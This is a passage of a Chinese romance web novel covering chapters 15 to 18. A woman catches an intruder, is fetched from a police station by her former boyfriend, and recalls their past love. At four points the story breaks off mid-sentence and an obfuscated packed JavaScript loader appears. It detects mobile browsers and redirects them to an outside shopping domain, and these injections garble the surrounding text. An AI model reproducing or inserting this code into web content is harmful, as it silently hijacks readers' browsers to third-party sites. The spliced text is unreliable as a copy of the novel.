陈见青没敢回头去看那道落寞难过的离去的背影,他的目光遥遥看向远方漆黑夜空中的几点星,指尖的烟静静燃烧,猩红的火星舔舐着他的手指。 半晌,他掐灭那根烟,指间还是不可避免地被烫红了一块。 但陈见青却像是毫无所觉一样,用力摩挲了一下伤处。 明明伤在手指,可奇怪的是心脏深处却源源不断传来清晰的痛感。 - 曾岳查房回去的路上路过宋南汐病房,推门进去的时候,她正在收拾自己的行李。 她已经脱下了病号服,换好了自己的衣服,眼睛有些红肿,像是刚哭过。 曾岳:“哭过了?” 宋南汐没什么语气地说:“没有,麦粒肿。” 曾岳:“……你在怀疑我医生的身份?” 麦粒肿跟哭红眼他还能分不清? 宋南汐觑了他一眼,“术业有专攻,你一个肛肠科医生别乱瞧其他的病。” 曾岳:“欸,虽然术业有专攻,但我还真能治你的病。你这病因是陈见青吧?” 宋南汐默了默,不答反道:“出院手续我已经办好了,现在我就出院。” 曾岳知道自己猜对了,宋南汐避而不谈的态度就已经说明了一切, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13988574|148333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他皱了皱眉:“跟陈见青谈崩了?他把你惹哭的?他骂你了?” 曾岳面上有些不悦,“我去找他算账。” 宋南汐拉住他,有些恼了,“你去什么去,不许去!我说了是麦粒肿就是麦粒肿。” “麦粒肿?宋南汐,你糊弄谁呢?睫毛上的泪珠都没干呢。” 曾岳有些生气,声音都高了两度。 宋南汐深深吸了两口气,有两颗泪珠不受控地砸下来,再开口时声音有气无力,“哥,你别去了行吗,给我留点自尊。” 曾岳叹了口气,伸手抱了抱她,“南汐,实在不行就试着换个人喜欢吧。” 所有的委屈一股脑地涌了上来,宋南汐就靠在曾岳怀里任由泪水流出来。 换个人喜欢?哪那么容易呢? 七年的时间都不曾让她忘记这个人,甚至在真正重逢的那一刻,如死水般沉寂多年的心脏竟然因为他疯狂地重新跳动起来。 思念和爱意在漫长的时间里疯狂滋长,宋南汐整个人犹如困兽,忘不掉也无法靠近。 她甚至在想,或许她从一开始的回国就错了。 - 宋南汐走后,曾岳就回了自己办公室收拾东西准备下班回家,刚出门就迎面碰上了陈见青。 曾岳没好气地觑了他一眼,转身就走,却被陈见青叫住。 曾岳:“你有事?” 陈见青默了默,“她……怎么样?” 曾岳没好气道:“能怎么样?你不是都知道吗?” 陈见青没说话。 曾岳看着眼前他相处了十几年的好兄弟,叹了口气,语重心长道:“陈见青,南汐是我看着长大的,从小到大都要强,没见她因为谁掉过几滴泪,唯一见的她几次哭还都是因为你。 我不知道你们两个之间还有没有可能,你对她还有没有意思,但我知道你对南汐的重要性,我没见她这么喜欢过一个人,所以费尽心思想撮合你俩。现在看来,或许是我错了,你如果真对那丫头没那方面的想法了,我也不会再费心思撮合你们,也麻烦你离那丫头远点。” “知道了。” 他声音有些低,没再说其他的,转身离开了。 曾岳叹了口气。 大学时,他曾以为陈见青此人就像是一颗木讷的树,无人能撼动,也无人能撩动。 但直到他亲眼看到与宋南汐热恋时的陈见青才知道,原来木讷的树也会为风所动。 那阵风张扬又热烈,自由不受约束,无人可以掌控。 后来,她离开大树,飞向更远的地方。 自由的风不会回头,更没有归途。 但数年后,自由的风再次席卷而归,迟迟盘旋大树周围,不肯离开。 只是不知道这一次,木讷的树是否还会再次向这阵风敞开怀抱。 15. 遇变态 从医院回来后,宋南汐就陷入新一轮的忙碌之中。 今天依旧是加班到晚上十点才回家,一开门青青就欢快地迎了上来,不断朝她摇尾巴。 宋南汐弯腰摸了摸青青,然后像往常一样,从柜子里拿出牵引绳,给青青穿好。 青青一直朝她叫,也不配合穿牵引绳,宋南汐皱了皱眉,“青青,怎么回事?今天不想出去遛弯了?” 青青有些焦急地去叼她的袖子,仿佛要领着她去某个地方。 宋南汐不明所以,但还是跟着青青的引导去了卧室。 越接近卧室,青青嚎叫地越厉害。 宋南汐心里隐隐有些不安,她随手从客厅拿了个长把拖板,然后轻轻握住了门把手。 按压下门把手,推开门,卧室漆黑一片。 她抬手打开灯的开关,屋内瞬间明亮起来,空无一人。 宋南汐心下刚松了一口气,青青就朝着那扇紧闭的窗帘大声嚎叫。 窗帘后面是个阳台,宋南汐下意识吞了吞口水,一颗心再次提了起来。 窗帘是自动遥控的,她去桌子上拿遥控,还没来得及摁下开关键,窗帘后突然窜出一个人影,迅速跑向门口。 青青反应迅速,直接追了上去,宋南汐愣了下,反应过来也随即追了上去。 青青直接咬住那人的腿,那人始察未及直接被绊倒在地。 宋南汐握着拖把,直接一板子拍了上去,那人瞬间不动弹了。 宋南汐吓了一跳,小心翼翼地凑近去看,这才看清他手中真正拿的东西——是她晾在阳台的内衣内裤。 变态!是那天阿姨口中说的那个爱偷别人内衣内裤的变态! 宋南汐当即就拿着手机要报警,忽然,一双手握住了她的脚腕。 宋南汐惊了一瞬,立即拿着手中的拖把狠狠在他脑袋上身上使劲拍。 脚腕上的手突然狠狠一拽,宋南汐瞬间跌在地上,手中的拖把也被他大力抢过去。 他头上带着黑丝袜,看不清面容,但宋南汐却能感受到他望过来时的阴森的眼神。 变故就在一瞬间,青青突然扑咬上去,连着那张黑丝袜,直接咬着他的脸不松口,嗓子里不断发出警告的低吼。 那人疼的惨叫出声,抬手就去抓青青,却怎么也拽不开,然后又用两只手狠狠掐住了青青的脖子,拖把当即当啷一声掉在地上。 宋南汐抓住机会,拾起拖把,用了十足的力气,用力朝那人拍了几板子,直到青青脖子上的手渐渐卸了力,她才缓缓松了口气。 她停下动作,躺在地上的变态也不动弹了,不知道是真晕假晕,她小心翼翼地用拖把杵了杵那人,依旧没什么动静。 青青依旧咬着那人的脸不松口,看样子应该是晕了,但她还是有些不放心,又用拖把补了两下才彻底放下心。 确认地上的人晕过去后,宋南汐当即拨打了报警电话,将情况一五一十汇报完后,又赶紧把咬着变态不松手的青青抱进怀里安抚。 怕变态中途醒过来,宋南汐去厨房找了绳子出来,把变态的手脚紧紧捆绑到一起,确保他动弹不了。 警察到的时候,变态刚好也醒了,整个人都在哆嗦,看起来像是发病了似的。 半小时后,警局。 “姓名。” “宋南汐。” “性别。” “……女。” “具体经过?” “下班刚回家就抓了一个偷内衣内裤的变态。” …… 警察看了眼宋南汐的身份证,又问,“你不是本地的?” 宋南汐的户籍地在榆北,她道:“我来这边工作,房子是租的。” 宋南汐又问了句:“那个变态还活着吧?” 毕竟今天警察到的时候他都翻白眼了,看起来就快不行的样。 年轻警察解释道:“今天你抓的那个变态,刚好检测出来是个吸毒犯,被抓的时候刚好犯毒瘾了。” 宋南汐点了点头,“那我能走了吗?” “还不行,他不是简单的变态,因为牵涉到贩毒吸毒,性质比较特殊,需要有人来给你担保一下,签个字才能走。”警察问,“父母在本地吗?或者亲戚朋友也行。” “可是我真跟他没关系,我都不认识他。”宋南汐极力自证,“我是华凌资本的总监,您可以随时去调查。” 警察解释道:“麻烦您理解一下,这是我们的办案流程。” 宋南汐无奈叹了口气。 手机已经没电了,只能借用警局的座机。 电话刚拨出去,听筒里就响起了曾岳的声音,听起来有些疲惫,应该是刚下手术台。 - 曾岳晚上有一台手术,因为手术较为复杂,比较耗费精力,做完出来的时候已经临时十一点。 一身疲惫地刚回到值班室,就接到一通陌生来电。 曾岳接起问哪位。 对面竟响起了表妹宋南汐的声音:“哥,你还在忙吗?” 曾岳看了眼手机上的来电,“南汐?你换手机号了?” 听到‘南汐’两个字,对面床上正在休息的陈见青豁然睁开眼朝曾岳这边看过来。 宋南汐支支吾吾,“没有,就是出了点事。” 曾岳一听这话立刻就急了,“出什么事了?你怎么了?没事吧?” 宋南汐:“我没事,就是需要你来警局接我一下。” “等着,我现在过去。” 挂完电话,曾岳就急忙穿衣服,对面的陈见青也骤然坐起来。 “她怎么了?” “还不知道,人现在在警局,我去接她。”曾岳说。 陈见青突然问:“你一会儿不是还有手术吗?” 曾岳穿衣服的手顿了下,一着急忘了一会儿还有手术了。 陈见青快速下床,一边穿衣服一边道:“你留在这做手术,我去接她。” 曾岳停下动作,还是有些不放心:“你行吗?” 陈见青回答的斩钉截铁:“放心。” “好,那你随时给我消息或者电话。” 陈见青短促地“嗯”了声,便脚步匆忙地出了门。 - 手机已经没电,等到的间隙宋南汐有些无聊地趴在椅背上。 因为刚刚精神高度紧张,现在放松下来她才迟来的感受到饥饿。 已经晚上十一点了,她还没来得及吃晚饭,胃已经开始有些难受,她摸了摸口袋,空空如也,连糖都忘记带了。 真是屋漏偏逢连夜雨,倒霉透顶了。 宋南汐叹了口气,手臂搭着椅背,然后将脸半埋在臂弯里。 不知过了多久,终于有警察叫她,“宋南汐,有人来接你了。” 她从臂弯中抬起头,突然看见门口一道高大的身影,刹那间心跳有片刻的停滞。 一周前那个刚与她划分界限的人此刻正弓着身子,在纸上签名,很快他又直起身跟警察询问着什么,宋南汐似乎看见他皱了皱眉。 陈见青,他怎么可能会来。 她以为自己看错了,揉了揉眼,重新睁开,模糊的视线渐渐清晰,依旧是那人的脸。 不是幻觉,更没有看错,是他。 在她愣神片刻,陈见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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宋南汐抿了抿唇,一时不知道该怎么称呼他,斟酌几秒,道:“陈医生,您看起来穿的也很薄。” 他里面只穿了一件白色薄衬衫,看起来比她的毛衣薄多了。 陈见青被这过于敬重的‘您’呛地直咳嗽,宋南汐关切道:“陈医生,您怎么了?是不是太冷了,要不这衣服还是还——” 陈见青勉强止住咳意,偏头看了她一眼,缓缓出声:“您?” 宋南汐不明所以地‘啊’了声,然后又听见陈见青说:“我只比你大三岁,不是三十岁。” 宋南汐恍然明白过来,她解释道:“陈医生,‘您’这个称呼只是为了表达我对您的尊重,没有说您老的意思。” 陈见青:“……既然这样,那你没必要这么尊重我。” 宋南汐沉默了几秒,“陈医生,我还是觉得你比我更需要这个外套。” 说完,她抬眸看了眼陈见青的脸色,貌似依旧不太好看。 她心里有些纳闷,哪里说得不对吗?难道出了医院要称呼陈教授才对? 正在宋南汐斟酌着要不要重新换个称呼的时候,陈见青终于开口了,声音淡淡的,听不出情绪: “不需要。我火气比较大,不喜欢穿太厚。” 宋南汐:“……” 火气大到鼻尖都冻红了? 话说至此,宋南汐没再拒绝,老老实实穿好风衣,跟着陈见青去找他的车。 车就停在警局大门口,一辆黑色奥迪,陈见青率先打开车门,坐进驾驶座。 宋南汐去拉后座的门,拉了半天没拉开,几秒后,前座的车窗降下,男人的声音从冷风里飘过来,“那边门坏了,坐前面来。” 宋南汐不太想坐前面,毕竟之前俩人闹得不太愉快,坐一起总觉得有点尴尬。 她绕过车身又去拉另一侧的门,依旧拉不开。 随后,那道声音再次不缓不慢补充道:“忘记说了,两边门都坏了。” 宋南汐:“……” 真是好巧呢。 16. 陈大小姐 最后,宋南汐还是坐上了副驾驶。 上车后,陈见青把充电宝和线递给她,手机终于充上电,宋南汐道了声谢。 车厢里气氛很沉默,宋南汐问了句:“陈医生,我哥还在手术吗?” 陈见青嗯了声。 宋南汐瞥了眼陈见青的神色,扭头看向窗外,心里却在想,他应该是被曾岳强迫过来的吧?看起来心情不太好的样子。 也是,大半夜本该入睡的好时候却被人薅起来去警局捞人,偏偏还不能拒绝,任谁都不会有什么好脸色,不发脾气就不错了。 宋南汐识趣地没再出声,往车门旁边靠了靠,尽量降低自己的存在感。 已经是晚上十二点,路上没什么车,几乎一路畅通无阻。 中途,陈见青突然在一家还在营业中的药店停下,进去出来的时候手里提了一个透明塑料袋,里面装着碘伏棉签还有创可贴。 宋南汐出于礼貌的关心问了句:“陈医生,生病了吗?” 陈见青直接把那一兜东西递给她,“回家后,把碘伏涂在受伤的地方,消消毒。” 宋南汐这才想起脚踝上被抓伤的那个地方,只是个抓痕,破了点皮而已,估计现在都结痂了,她觉得有点小题大做,但还是接过那袋子药,“谢谢陈医生。” 陈见青仿佛洞穿了她的想法,冷声道:“不要觉得这不是什么大事,那个人有毒瘾,说不准还有什么其他隐藏疾病,这事可大可小,明天早上再去二院做个检查。” 宋南汐确实没想到这一层,她没有推脱,乖乖应好。 车子刚启动,陈见青的手机就响了起来。 宋南汐瞥了眼屏幕上的来电人——曾岳,“陈医生,需要帮忙接一下电话吗?” 陈见青“嗯”了声,算是同意。 宋南汐这才摁了接通键,然后打开了免提。 紧接着,曾岳焦急的声音传了过来:“陈见青,见到南汐了吗?她怎么样?有没有受伤?” 宋南汐连忙道:“哥,你别担心,我没事,没有受伤。” 听到宋南汐的声音,曾岳这才松了口气,“到底怎么回事?怎么大半夜去警察局了?” 宋南汐大概讲了一下经过,曾岳听完后严肃道:“明天你就搬家,不能再住那了。” 宋南汐本来也打算搬家了,但明天搬家也太赶了,她连房子都还没找,于是商量道:“哥,我下周再搬家吧。明天太赶了。” 曾岳语气不容商量:“明天搬,我去帮你搬家,房子的事你不用担心,我在江临还有两套。” 宋南汐知道曾岳说一不二的性格,如果她不答应,估计明天就会强制来帮她搬家了,只能无奈妥协道:“好吧,那就明天。” 曾岳说:“我刚刚查了一下,那两套房子离你上班地方都挺近的,你不用担心通勤问题,一会我去预约个保洁明天上门打扫一下。” 宋南汐还没来得及说话,曾岳又问:“陈见青在你旁边吗?” “哦,在的。”宋南汐说。 陈见青把着方向盘,淡声问了句:“有事?” 曾岳突然问他:“龙湖天城和碧沁园,你觉得哪里更好?” 陈见青沉默片刻,然后道:“碧沁园吧。” 曾岳又问:“你确定是碧沁园吗?” 陈见青说:“确定。” 曾岳说:“行。那南汐明天就搬去碧沁园那边的房子,那里安保系数也高,环境也好。” 宋南汐头顶缓缓冒出一个问号。 我请问呢?不是给我找房子吗?不应该询问一下我的意见吗?合着这房子是给你俩住还是给我住呢? 还不等宋南汐发出疑问,曾岳又道:“对了,今晚你也别回你那住了,让陈见青送你先去酒店凑合一晚。” 宋南汐立马拒绝,“不行,青青还在家里呢,今晚它受了惊吓,我必须得回家。” 曾岳说:“那你就回家接完你的青青再一起去酒店住。” 这没几个小时就要天亮了,再去酒店多少不太现实,况且还带着一只狗。 她不太想再拉扯下去,只能含糊应下,曾岳这才挂断了电话。 挂完电话后,她又想起还得跟陈见青串通一下,于是道:“陈医生,这么晚了,再带着一只狗去酒店,怪麻烦你的,要不你就跟我哥撒个谎,说我晚上是在酒店住的,行吗?” 陈见青淡声道:“不麻烦。” 宋南汐:“……” 这人怎么听不懂话呢。 宋南汐微笑道:“陈医生,其实是我不想去酒店,是我嫌麻烦,你能帮我跟我哥撒个谎吗?” 陈见青:“我不喜欢撒谎。” 宋南汐:“……” 这话是没法谈了。 正当宋南汐放弃挣扎时,陈见青又道:“我也不喜欢别人叫我陈医生。” 宋南汐不理解,但还是乖乖改口:“好的,陈教授。” 陈见青淡淡补充道:“我更不喜欢别人叫我陈教授。” 宋南汐:“……” 此时,她真的很想大声说一句,陈大小姐,你真的很难伺候欸。 看见宋南汐一脸无语但又无法发作的表情,陈见青突然弯了弯唇角,很浅的弧度,一路上始终围绕着他的坏心情突然在此刻消散了。 陈见青缓缓解释道:“我不喜欢那种随时都在上班的感觉,所以在外称呼我名字就行。” 宋南汐:“……” 好吧,说的也有那么一点道理。 宋南汐再次试探着开口:“那……陈见青,你能帮我跟我哥撒个谎吗?” 陈见青说:“可以。” 宋南汐偷偷觑了眼他的脸色,好像没那么臭了。 那一刻她忽然福至心灵般明白了什么,所以刚刚这位大小姐摆了一路的脸色只是因为对称呼不满意? 车子停在楼下,宋南汐解开安全带,正要脱下衣服还给陈见青,就听见他说:“外面冷,衣服穿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14007301|148333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好。” 宋南汐说:“我走几步路的距离就到家了,衣服就暂时不用了——” “——穿好。”陈见青偏头看过来,“衣服洗干净改天还我,我洁癖。” “……舌-吻的时候也没见你有洁癖。” 一时没忍住她一股脑把心里的吐槽说了出来,说完才意识到不对劲,猛地抬头看向陈见青,对方显然是听到了,目光深深地锁着她,宋南汐只觉得自己好像快被他的目光烧个洞出来。 宋南汐只觉得空气在渐渐流失,车里越来越闷,她有点快要喘不过气来。 陈见青悠悠开口:“那能一样?” 宋南汐下意识反驳:“那怎么不一样。” 说完她又开始后悔。 她为什么大半夜坐在这里跟前男友讨论舌吻和洁癖的关系呢? 这像话吗? 完全不像话。 宋南汐决定终止这个话题,深吸口气,微笑道:“今天真是麻烦您了,陈医生。改天请有空请您吃饭。” 说完后她就拔下充了一半电的手机,拉车锁准备下车回家,拉了一下,车门不动,被锁住了。 宋南汐只好转身微笑道:“陈医生,麻烦帮忙开个门。” 陈见青目光凝着她不说话。 宋南汐的好脾气快要被消磨殆尽,但陈见青就是不给她开门。 宋南汐彻底失了耐心,没好气道:“陈见青,开门,我要回家了。” 陈见青终于纡尊降贵地开了口:“改天是什么时候?” 宋南汐有点搞不懂他,他这是在问下次见面的时间吗? 可是前段时间,他不是还要跟她划清距离的吗?现在又算怎么回事呢。 话都说出去就没有再收回的道理,宋南汐只好道:“等我有空的时候再联系你,可以吗?” 陈见青点头,“可以,你准备怎么联系我?” 对哦。 宋南汐突然想起早在七年前分手时她就拉黑删除了陈见青所有的联系方式,那现在…… 宋南汐摆出一个标准的八齿微笑,解锁递出自己的手机:“不好意思,麻烦给我一下你新的联系方式。” 陈见青接过手机,在上面输入一串数字,然后拨出去,他的手机响了起来,上面的通话来电显示:阿南。 阿南…… 原来他竟一直保留着自己的手机号码,连亲昵的称呼都没改吗。 那一瞬间,宋南汐的心好像被什么东西轻轻蛰了一下,酸酸的,还泛着一点疼。 在她愣神间隙,手机不知道什么时候重新被塞回她手里。 与此同时,车厢里响起一道广播女声:“您好,您拨打的手机已关机,请稍后再拨。” 陈见青的手机上显示着拨出了阿南的电话,但宋南汐愣愣低头看了眼手上的手机,并没有来电提示。 陈见青幽幽的声音传来:“也许,我还在你的黑名单里。” 宋南汐:“……” 17. 草莓糖 无言片刻,宋南汐打开了手机上的黑名单。 黑名单里只静静躺着一个人——宇宙无敌帅男朋友。 经年前的称呼,再次映入眼帘时,宋南汐有片刻的恍惚。 她想起,两个人刚在一起的那天,她迫不及待地给陈见青的联系方式备注了“男朋友”。 当时手滑不小心点到了黑名单,里面一长溜的‘前任1号’、‘前任2号’……,没有具体的名字,但通过那拉不到头的名单就知道她的情史究竟有多丰富。 这情况恰好被一旁的陈见青看到了,他语气颇有酸意地问了句:“我会变成里面的几号?” 宋南汐立马笑着亲了他一口,哄人的话张口就来:“什么几号?陈见青,我想要和你天长地久呢。” 陈见青凉凉地瞥了她一眼,“那你说说,我跟他们有什么不同?” 宋南汐认真想了想,“我连他们的名字都记不得了,他们有什么特点我也不知道,但我知道你哪里最特别。” 陈见青挑了挑眉:“哪里特别?” “你嘴巴很软,我很喜欢。”她的目光由他的唇上一寸寸向上移,望进他的眼睛里,“你长得很帅,我也很喜欢。” 陈见青:“……” 陈见青脸上的无语肉眼可见,但宋南汐笑起来,直白又热烈的眼神让人避无可避,她说:“陈见青,你不一样的。” 她语气真诚,眸子里溢出的喜欢快要将他淹没,陈见青眼皮颤了颤,愣在当地不知作何反应。 直到那双温软的唇贴了上来,在他唇上细细吮磨,他反应过来时,将她紧紧按进了怀里,很深地吻住了她。 亲吻过后,她的唇靡丽红艳,勾人心弦,眸子里的水光将人的心都软化了,她微微喘着气,笑着说:“陈见青,你不一样。我最喜欢你了。” 陈见青被她勾的笑起来,“这么喜欢,那多亲一会。” 话音刚落,他的唇再次贴了上来。 当时,宋南汐满脑子只有一个想法,她好像一点也不排斥与男人亲近,甚至接吻她也能很享受。 但后来,她才明白,不是的,只有陈见青是那个例外。 或许也可以说,她的世界好像只有陈见青一个人能靠近。 那天的最后,为了表明陈见青真的与众不同,当着他的面,她把自己的黑名单都清空了,所有前任的联系方式都删除了,她还给他改了个备注——宇宙无敌帅男朋友。 宋南汐盯着那行备注好一会儿,直到屏幕上的字好像晃了晃,她才回过神来。 她皱了皱眉,眨了下眼,屏幕上的字重新变得清晰。 轻微的晕眩感缠绕上来,宋南汐知道自己低血糖犯了,不能再多加逗留,得赶紧回家。 她在手机上操作一番,把黑名单里唯一的号码放了出来,并改了一个备注:陈医生。 操作完,宋南汐将手机屏幕在他面前晃了眼,“好了。” 陈见青没再说什么,“啪嗒”一声,车门锁开了。 宋南汐拉开车门,脚刚触到地面,眼前瞬间一阵天旋地转,她猝不及防地直接跪坐在地上。 眼前一片黑暗,她有些支撑不住往一边倒去,预料中与地面亲密接触的疼痛并未到来,她被稳稳接进一个怀抱里。 眼前一片黑,耳边传来陈见青焦急的声音:“宋南汐,怎么了,哪里不舒服?” 她声音虚软:“低血糖。” 陈见青似乎在她身上的风衣口袋里拿了什么,然后唇边抵上一只冰凉的手,“张嘴。” 宋南汐乖乖张嘴,然后熟悉的草莓糖的味道在唇齿之间化开。 眼前的黑暗渐渐褪去,宋南汐缓过来时,才发现她正躺在陈见青怀里。 她不想惹得他更多的厌恶,几乎是弹坐起来离开他的怀抱,但顷刻之间又因为眼前止不住的晕眩又倒了回去。 身上软的一点力气也没有。 她第一时间开口道歉:“对不起,我真的不是故意的。” “家在哪?我送你。”陈见青说。 鉴于目前情况,宋南汐觉得如果自己回家极有可能会晕在半路,于是道:“3栋2单元801.” 陈见青的手臂穿过她的膝弯,直接将她拦抱起来。 宋南汐的手下意识勾住他的脖颈,鼻尖充斥着很淡的冷杉木的味道。 等到电梯的时候,那颗草莓糖的效用已经开始发挥,她感觉身上好像有了点力气,而且距离家也没几步路,她不好意思再麻烦陈见青更多,于是道:“我好多了,你放我下来吧。” 恰好电梯也到了,陈见青并未多言,将她放下。 但宋南汐还是高估了自己,刚落地就踉跄了两下,下意识拽了下旁边的陈见青才没摔倒。 眩晕感并没有完全褪去,宋南汐瞬间有点后悔,早知道不逞强了,让他抱一会儿又怎么样。 她又不亏,他讨不讨厌那是他的事,反正以后又没什么见面机会了。 这样一想,宋南汐更后悔了,紧紧抓着的那只胳膊往她这边送了送,他道:“抓好。” 宋南汐乖乖抓好,两个人一起进了电梯。 进电梯后,胳膊上紧紧缠绕上来两只手臂,陈见青身体顿时僵住。 刚刚还拒人于千里之外的人现在却亲密无间地抱住了他的胳膊,抱完了还马后炮地问了句:“陈医生,我还不太好,能这样抱着你吗?” 陈见青声音紧绷,“可以。” 就这样像个人体挂件一样,一直到了家门口,宋南汐才松开手,她摁下密码开了锁。 门刚开一条缝,青青就叫着迎了上来,宋南汐怕深夜扰民被投诉,立马朝着青青做了个噤声的手势。 青青听话地闭上嘴,嗓子里发出很轻的哼哼声。 宋南汐将青青抱在怀里安抚,似乎注意到陈见青的存在,青青从宋南汐怀里探出个脑袋,有些敌意地盯着陈见青,喉咙里不断发出警告的低吼。 宋南汐将那颗狗头重新摁进怀里,不好意思地朝陈见青笑了下,“不好意思,它对外人敌意比较大。” 陈见青没什么表情地嗯了声。 已经不早了,陈见青还杵在门口没有要走的意思,宋南汐正要开口让他先走,但想到今天晚上确实麻烦了他很多,眼下又到了家门口,于是象征性地客套了句:“要不要进来喝杯茶。” 依照陈见青的性格,肯定会拒绝。 但出人意料地,陈见青竟回了句好。 宋南汐一时没反应过来,陈见青站在门外:“需要换鞋吗?” 宋南汐愣愣‘哦’了声,立刻有些手忙脚乱地在鞋柜里找了双新拖鞋。 蓝色的,与她脚上的粉色是情侣款。 看陈见青有些犹豫,宋南汐又解释道:“这是新的,没人穿过的。” 陈见青“嗯”了声,这才施施然换了鞋。 宋南汐说喝茶只是个客套话,她不喜欢喝茶,家里自然连茶叶的影子都看不见,这下真把人请进来了,她一时有些为难:“茶叶好像没有了,喝水可以吗?” 陈见青没有回答,只是将手里的碘伏递给她,“先去处理伤口。” 宋南汐接过药,应了声好。 她坐到沙发上,将怀里的狗狗放下,拿出棉签,沾了点碘伏擦在脚腕上。 青青有些焦急地围着宋南汐脚边转,宋南汐处理完后将青青抱到腿上,揉了揉它的脑袋,“青青,别担心,我没事的。” 陈见青看了她一眼,问了句:“家里有没有吃的?” 宋南汐摇了摇头,“只有一袋面条。” 陈见青忽然问:“清汤面吃不吃?” 此话一出,宋南汐好像意识到了什么。 陈见青跟进来好像是来给她做饭的。 她狐疑地想,难不成是刚刚低血糖的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14019722|148333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样子看起来太可怜了?勾起了陈见青的同情心? 陈见青又问:“吃吗?” 宋南汐没骨气地吞了吞口水,“吃。” “在这坐会,很快就好。” 说完,陈见青转身进了厨房。 宋南汐看着那道忙碌的背影,想起一周前两个人那场不欢而散的对话,直到现在,宋南汐都不知道他那天究竟为什么生气。 是因为那三次的唐突还是因为路清柏? 又或是因为单纯地讨厌自己呢? 可是他今天的表现又不太像讨厌她的样子。 还有刚刚那颗草莓糖…… 草莓牛奶的味道直到此刻似乎还停留在舌尖。 她想起什么,伸手掏了下身上风衣的口袋,果然在里面掏到几颗草莓糖。 宋南汐只觉得此刻心脏好像被人不轻不重地捏了一下。 曾经热恋期那些甜蜜的过往如同电影一般在脑海中一帧帧闪过。 大学时的她饮食不太规律,有的时候还容易犯低血糖,所以她经常在口袋里备着糖。 陈见青知道这事后,口袋里也经常会揣着几颗糖。 起初,宋南汐是不知道这事的。 后来,在某次约会中,她突然犯了低血糖,那天身上恰好没备糖,她被陈见青扶到路边的长椅上,正想着让陈见青去超市帮她随便买一点糖的时候,一颗熟悉的草莓糖突然喂到了嘴边。 是她经常吃的那个牌子,那种很独特的草莓牛奶的味道,她一尝就吃出来了。 等缓过来后,宋南汐抽过陈见青手中的糖纸,确认了就是自己常吃的那款糖——stiky. 这是一个国外的小众品牌,手工糖,价格比较贵,折合下来一颗糖就要近三十块。 这个价格对于当时勤工俭学的陈见青来说,无疑是一笔不小的支出。 宋南汐当时就生气了,“你买这么贵的糖干什么?” 陈见青含糊说,他是在路边摊随便买的。 宋南汐气笑了,冷声道:“陈见青,你是不是觉得我挺好糊弄的。” 是不是路边摊她还能不知道吗,这糖她买了很多年了,正版盗版她一尝就知道。 陈见青这糖明显是正版,或许还花了不少心思从代购那买的。 陈见青或许是知道自己瞒不过,叹了口气,把她抱进怀里,声音有些无奈:“怕你低血糖。所以就常在身边备着。” 宋南汐有些恨铁不成钢地捶了一下他的胸口,心疼道:“那你就不能挑便宜点的,这糖多贵啊!” 陈见青闷笑了声,他说:“别的糖怕你吃不惯。” 宋南汐的脑袋埋在他的胸口,声音有些闷闷地:“下次别买这么贵的,我不挑食的。这糖太贵了,不值得。” “值得。”他的下巴抵着她的头顶,宋南汐听见他胸腔微动,“阿南,不要降低你的生活质量来刻意迎合我。” 宋南汐一时哑声无言,原来他都知道。 她知道陈见青的不容易,所以自从跟他在一起后,她花钱不再像之前那样随心所欲,只要跟陈见青一起出去,约会也好,买东西也好,她都会挑最便宜的来,这样的话,即使陈见青抢着买单她也不会有太多罪恶感。 在人来人往的街头,陈见青抱着她,一字一句道:“阿南,你值得最好的。” 宋南汐只觉得心里仿佛酿了一罐蜜,此刻已经满的溢了出来,弥漫到心底的各个角落,处处都泛着甜味。 这是她之前所有的恋爱中从所未有过的感觉。 她紧紧抱着他,唇角漫开点点笑意,“我知道,你就是最好的。” 那是第一次,她清醒感受到自己正在陷入这段感情的漩涡里。 沉迷、心甘情愿也无法自拔。 也是第一次,她尝试着打开了那扇紧闭的心房。 门外,是陈见青对她毫无保留的爱。 18. 舍不得 宋南汐没想到过了这么多年,陈见青竟然还保持着随身带糖的习惯,并且还是她很喜欢吃的那款糖。 内心那头欲-望的野兽不断冲撞着牢笼,所有不切实际的想法在此刻统统冒了出来。 可那日医院天台上陈见青那句“宋南汐,你以为你是谁?”每时每刻都如同紧箍咒一样缠绕着她,将她所有的冲动压了下去。 她没有理由、更没有立场去靠近他,更别提复合的可能。 今天种种,以及陈见青主动留下她的联系方式,都很难不让她多想,但是以她对陈见青那闷葫芦的了解,她只能将这归于他道德感太高、出于友情被迫照顾朋友妹妹的心思。 宋南汐将那几颗糖重新放回了原来的位置。 她想,或许对于陈见青来说她最多只是好朋友的妹妹的关系。 